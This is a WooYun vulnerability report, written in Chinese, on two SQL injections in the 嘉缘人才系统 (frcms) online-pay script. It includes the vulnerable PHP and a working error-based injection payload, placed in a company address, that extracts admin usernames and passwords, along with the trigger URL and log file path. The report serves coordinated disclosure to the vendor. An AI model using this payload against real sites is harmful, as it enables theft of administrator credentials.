2015-03-17: 细节已通知厂商并且等待厂商处理中 2015-03-20: 厂商已经确认,细节仅向厂商公开 2015-03-23: 细节向第三方安全合作伙伴开放 2015-05-14: 细节向核心白帽子及相关领域专家公开 2015-05-24: 细节向普通白帽子公开 2015-06-03: 细节向实习白帽子公开 2015-06-18: 细节向公众公开
rt
看到\frcms\plus\onlinepay\send.php
require_once(dirname(__FILE__).'/../../config.inc.php');$db=connectdb();$paytype=intval($paytype);$amount = trim($amount);if(!is_numeric($amount)){showmsg('支付金额不合法,必须为数字。',"-1");exit;}if(!strpos($amount,'.')) $amount=$amount.".00";$rs = $db->get_one("select p_no,p_shid,p_key,p_name from {$cfg['tb_pre']}payonline where p_chk=1 and p_flag=$paytype");if($rs){ $ipayno=base64_decode($rs["p_no"]); $ipayid=base64_decode($rs["p_shid"]); $ipaykey=base64_decode($rs["p_key"]); $ipayname=$rs["p_name"];}else{ showmsg('操作失败!接口故障请联系管理员。',"-1");exit;} $orderno = date('YmdHis');//如果是会员查询会员的相关联系信息if(_getcookie('user_login')!=''){ $username=_getcookie('user_login'); //注入一 $rs = $db->get_one("select m_tel,m_email,m_address from {$cfg['tb_pre']}member where m_login='$username'"); if($rs){ $p_address=$rs['m_address']; //注入二 $p_email=$rs['m_email']; $p_tel=$rs['m_tel']; }else{ showmsg('查无此用户信息,请与网站管理员联系。',"/index.php");exit; }}else{ showmsg('登陆时间过长 或 账户为无效账户,请与网站管理员联系。',"../../login.php");exit;}$p_address=$p_address==''?'无地址':$p_address;$p_tel=$p_tel==''?'0':$p_tel;$p_mid=$ipayno;$p_amount=$amount;$p_type=$ipayname;$p_pmode='';$p_oid=$orderno;$p_content=$cfg['sitename'].'会员充值,订单号:'.$orderno;$p_member=$username;$p_class=_getcookie('user_type');$p_date=date('Y-m-d H:i:s');$p_userip=getip();//存入在线缴费记录表$db ->query("INSERT INTO {$cfg['tb_pre']}payback (p_mid,p_amount,p_type,p_pmode,p_oid,p_content,p_member,p_class,p_address,p_email,p_tel,p_date,p_userip,p_isucceed) VALUES('$p_mid','$p_amount','$p_type','$p_pmode','$p_oid','$p_content','$p_member','$p_class','$p_address','$p_email','$p_tel','$p_date','$p_userip',0)");
注入一根据前面 WooYun: 嘉缘人才系统sql注入 这个漏洞,可以知道如何利用。但是在新版的cookie加上了$cfg['cookie_encode'],但是getcookie函数也变了。
function _getcookie($var) { global $cfg; $var = $cfg['cookie_pre'].$var; return isset($_COOKIE[$var]) ? substr(base64_decode($_COOKIE[$var]),0,-strlen($cfg['cookie_encode'])) : '';}
所以不影响利用。第二处任意注册一个公司把公司地址修改为
'or char(@`'`) or (SELECT 1 FROM(SELECT count(*),concat((SELECT(SELECT concat(a_user,0x27,a_pass)) FROM job_admin limit 0,1),floor(rand(0)*2))x FROM information_schema.columns group by x)a) ,0)#
需要抓包修改一下
然后访问
http://127.0.0.1/frcms/plus/onlinepay/send.php?paytype=2&amount=1
根据 WooYun: 嘉缘人才系统两处sql注入打包(直接出数据)
找到记录文件http://127.0.0.1/frcms/data/log/sql_e15a0a25dbd4030a31357433e2a1b26a.txt
数据已出
出库转义
危害等级:中
漏洞Rank:10
确认时间:2015-03-20 14:59
感谢反馈漏洞,我们会尽快修复处理。
暂无